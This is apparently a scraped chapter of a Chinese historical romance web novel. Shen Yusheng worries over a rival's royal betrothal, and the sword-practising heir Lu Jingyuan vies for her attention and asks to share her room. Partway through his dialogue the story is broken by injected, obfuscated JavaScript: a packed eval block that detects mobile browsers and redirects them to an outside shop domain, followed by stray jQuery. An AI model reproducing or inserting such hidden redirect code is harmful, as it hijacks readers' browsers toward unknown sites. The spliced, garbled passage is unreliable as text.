“小姐,皇宫真大啊,若是没人领着,奴婢一准在里面迷路。”
屋子里只剩两人后,竹翠便打开了话匣,她为沈玉笙倒了一杯茶。
感受着茶水落入杯中的温度,又道:“小姐这王府就是好,咱们进宫一日,这茶温度还正好呢,小姐快喝吧,您瞧您嗓子都哑了。”
官家赏赐的绫罗绸缎大半归入私库,桌上只摆着两匹待裁成衣的锦缎,和一匣鎏金点翠头面,描金漆匣大开着,内里碎光点点。
“奴婢候在外面时瞧见传了不少赏赐进殿,没想到十之八九都是赏给小姐的!小姐,这些能换不少银钱吧。”
沈玉笙呷了口茶,瞧她兴奋得小心翼翼地捧着匣子看。
在别院时过惯了苦日子,竹翠自小跟在她身边,哪里见过这么好的东西,就是她自己也没见过。
别说喝上一口热乎茶,就是想喝水都得现挑。
“官家赐的东西还是收好吧。”
“是。”竹翠应着,仔细将物件一一收好。
沈玉笙放下茶杯,指尖摩挲过花瓷纹理,温声开口:“日后见了沈婉莹切记要恭敬着点,人前背后都不可再称其为庶小姐了。”
“怎么了,小姐?”
竹翠关好柜门,快步过来。
在宫中时,她守在廊庑,多少能听到些殿中的声响,但具体的却是听不真切。
沈玉笙:“今日她在殿中求了与三皇子的赐婚,官家准了,日后她便是皇子妃,还是要避些锋芒。”
思绪回到那日的芙蓉铺。
当时沈婉莹便说过会成为三皇子妃,想来是一准就盯上了三皇子,只是三皇子不开口,官家也不赐婚,她这才主动去求。
当着众人的面,三皇子自然无法推诿。
沈玉笙心中一沉。
青烟的死,沈婉莹身为沈家未出阁的小姐时尚且无法追究,待日后成为皇子妃更是无解。
早知如此,还不如将青烟留在小院。
沉郁之时,屋外传来一阵“咻咻”声。
沈玉笙:“什么声音?”
晋王府守卫森严,若是有刺客这会儿院子里怕是已经打起来了。
竹翠透过换气的窗缝往外掠了一眼。
院中空地上一袭紫衣的世子竟然在舞剑,银剑划过夜空,剑光如雪。
“小姐,是世子在练剑。”竹翠小声道。
“大晚上的他练什么剑?”
沈玉笙也快步到窗边,从缝隙往外看,院中那人好似世外高人,仙君下凡。
一轮冷月悬于枝头,清辉洒满整座庭院,院中四角挂着几盏纱灯,让院子又亮了不少,可这光亮却是比不过他手中那柄银剑。
陆景渊一招一式干净利落,衣玦翻飞间不难看出这人武功高强。
“小姐,世子他不是纨绔吗?我怎么瞧着他有点厉害,好像……比墨二还厉害。”竹翠迟疑道。
这一点,沈玉笙也认同。
他动作不拖泥带水,不光观赏性好,就连舞出的风声都比墨二强劲不少。
沈玉笙不懂武功,但也知道这应是与内力有关。
看来这陆景渊还不完全是个草包,怪不得敢应下都虞候一职。
翌日,清晨。
沈玉笙又是在一阵“咻咻”声中醒来。
她躺在床上翻了个身,用被子捂住耳朵,不多时,窗外剑的嗡鸣声变成了“锵锵”的打斗声。
这声音扰得她头痛。
忍无可忍,她嚯的坐起身,无比怀念前阵子在朗月居见不到陆景渊的日子。
“小姐,您醒了。”竹翠推门进来,那阵“锵锵”声更是清楚。
也难为竹翠这样都能听见屋里的动静了。
待她梳洗完毕,屋外的打斗声也没停。
她实在不知陆景渊哪里来的这么大的精力,转念一想,那些见不到他的时日,他多半也都在街上跑,不由感叹,果真是高精力人群。
昨晚练那么久不算,今早又开始。
就说再过几日便要上任,也不用这么磨枪吧。
沈玉笙没出屋,昨日没睡好,也便懒得理会,就着“锵锵”声用过早饭。
屋外的墨二已是一身的汗,头顶的热气清晰可见。
初冬清晨可不比暮秋,风寒凉不少,可即使这般,他一点不觉得冷,反而有些急躁,急他家世子妃为何还不出门。
与陆景渊对打他自然不敢使全力,可自家世子又拿出全力以赴的架势,他一边要见招拆招,一边开始祈祷世子妃快些出门。
右手已被震得发麻,可世子仍没有放过他的意思。
他默默下定决心,日后再不在世子妃面前练剑!更不会到世子面前多嘴!
大概是他的祈祷有了作用。
正屋的门终于“吱呀”一声再次打开。
沈玉笙一身月白绵旋袄,外罩鹅黄暗花长褙子,衣领、袖口皆滚着一圈窄细银狐缘,整个人被衬得更是明艳。
余光瞥见她出来,墨二松了一口气。
虎口处又是一震。
“刺啦——”两剑交锋划破长空。
陆景渊瞥见她出来,舞得更是卖力。
昨夜他独自一人舞了那么久的剑,她出来看一眼都没有,今日一大早他便拉着墨二陪练。
他倒要让沈玉笙好好看看,谁更胜一筹!
原以为世子妃出门便是终点的墨二,被迫继续接更狠的招。
不由暗自祈祷:墨三!你快回来吧!
沈玉笙站在廊下瞟了两人一眼,径直绕过两人往院外去。
瞥见她要出院门,陆景渊忙收了剑。
“你干什么去?”
沈玉笙停下步子,看他,“给母妃请安。”
说罢同竹翠的身影消失在院门口。
陆景渊将手中的剑往墨二手里一抛,也追了上去。
行至主院前厅时,沈玉笙正请完安往外走,他脚步又快几分,拦了沈玉笙去路,冲屋内扬声道:“父王、母妃,儿子前来问安,便不进去了。”
他这般行事着实让人摸不着头脑。
可屋内的晋王夫妇都不说什么,沈玉笙也不好多言,只捏着帕子驻足,等他差遣。
陆景渊回眸看她。
少女微垂着头,半张脸埋在毛茸茸的白领子里,一身鹅黄很是耀眼,数年过去眉眼还似他记忆中那般灵动。
他目光一错不错,半句话不说,好似沈玉笙脸上开了花似的叫他新奇的不行。
二人就这般立在公婆院中实在不妥,沈玉笙温声开口:“世子有事?若是有事可回了朗月居相商,在这里怕是会叨扰父王、母妃。”
陆景渊收了手,“无事,我就是想问问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944685|213364||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你,我和墨二,哪个剑舞得更好。”
沈玉笙敛眉,连同她身后的竹翠都是一头雾水。
“自是世子技高一筹。”
“你当真这么认为?”
沈玉笙眉头更紧,难不成这就是他这两日练剑的缘由?男人莫名的攀比心?
不过,问她作甚?
疑问归疑问,沈玉笙还是老实答道:“自然,世子若是不信,也可问过竹翠。”
旁侧竹翠连忙点头附和。
“那好,回去吧。”
得到满意答复,陆景渊一甩袖袍,神采飞扬地走在前头,行出数步远,瞥见她走得慢,又放缓步子有意等她。
沈玉笙望见他放慢脚步,也便走得更慢,最后逼得陆景渊停在原地,低声催促:“快些。”
她这才跟上,同他一道回朗月居。
每每请安归来,若无旁事,沈玉笙都要在床上赖上片刻,今日陆景渊也不知是怎么了,竟然跟着她回了主屋。
看着坐在对面的人,沈玉笙更是头痛,她端坐在桌前看似在凝眉沉思,实际思绪早已飘远。
方才这人说入冬后书房太冷,这两月便同她宿在一处。
她从未踏足过书房,只远远看着丫鬟进去打扫,是以内里到底有没有能睡的地方她并不知晓。
可若是真如他所说,堂堂世子竟是在书房窝了数日,当真是委屈他了。
思忖片刻,沈玉笙温声提议:“你我二人共宿一处,实在不妥,不若让人再收拾间屋子来给世子住。”
陆景渊指尖扣着桌面,看似漫不经心:“有何不妥?又不是没睡过?还是说你信不过我?”
沈玉笙没搭他这茬,只道:“偶尔睡一次没什么,可若是日日如此恐多有不便,况且咱们约……”
“诶,”不及她说完,陆景渊指尖重重落下,“我知你要说什么,不过也只有这两月,旁的屋子我住不惯,也没这屋子暖,你就当可怜可怜我,让我住这里罢。”
说着他解了外袍往里屋走,过了会儿不知为何又转了出来。
沈玉笙抬眸,“世子若是怕冷,我搬去别处就是,这本就是世子的屋子,是我鸠占鹊巢了。”
听她这般说,陆景渊明白是自己心急了。
可说出去的话泼出去的水,事已至此,他只能硬着头皮道:
“后日我便上任,届时晚间也不一定回府,况且你是我求娶回来的,若是叫母妃知道给我另行收拾了房间,你要如何解释?”
沈玉笙心中有些松动,可目光一触及到窗边的紫檀案桌又忆起这人有心悦之人。
她自己倒是没什么。
成婚一年,便是两人之间清清白白,在旁人眼里她也早已不是清白之身。
可男子不同,这年代但凡有点能力的男人,三妻四妾是常事,更别提身份尊贵的亲王世子。
这些日子相处下来,他虽会去吃酒,可从未在外过夜。
就连上次去惜春楼他也是头一次,想来应是知晓分寸的。
可能他那些流连风月的传闻,都是为了白月光而掩人耳目。
试问,世间哪个女子不希望自己的男人也能为自己守身如玉?
思及此,沈玉笙声音低了几分,“我这也是为了你好。”
陆景渊别开脸,低声答复:“真为我好,就别再赶我走了。”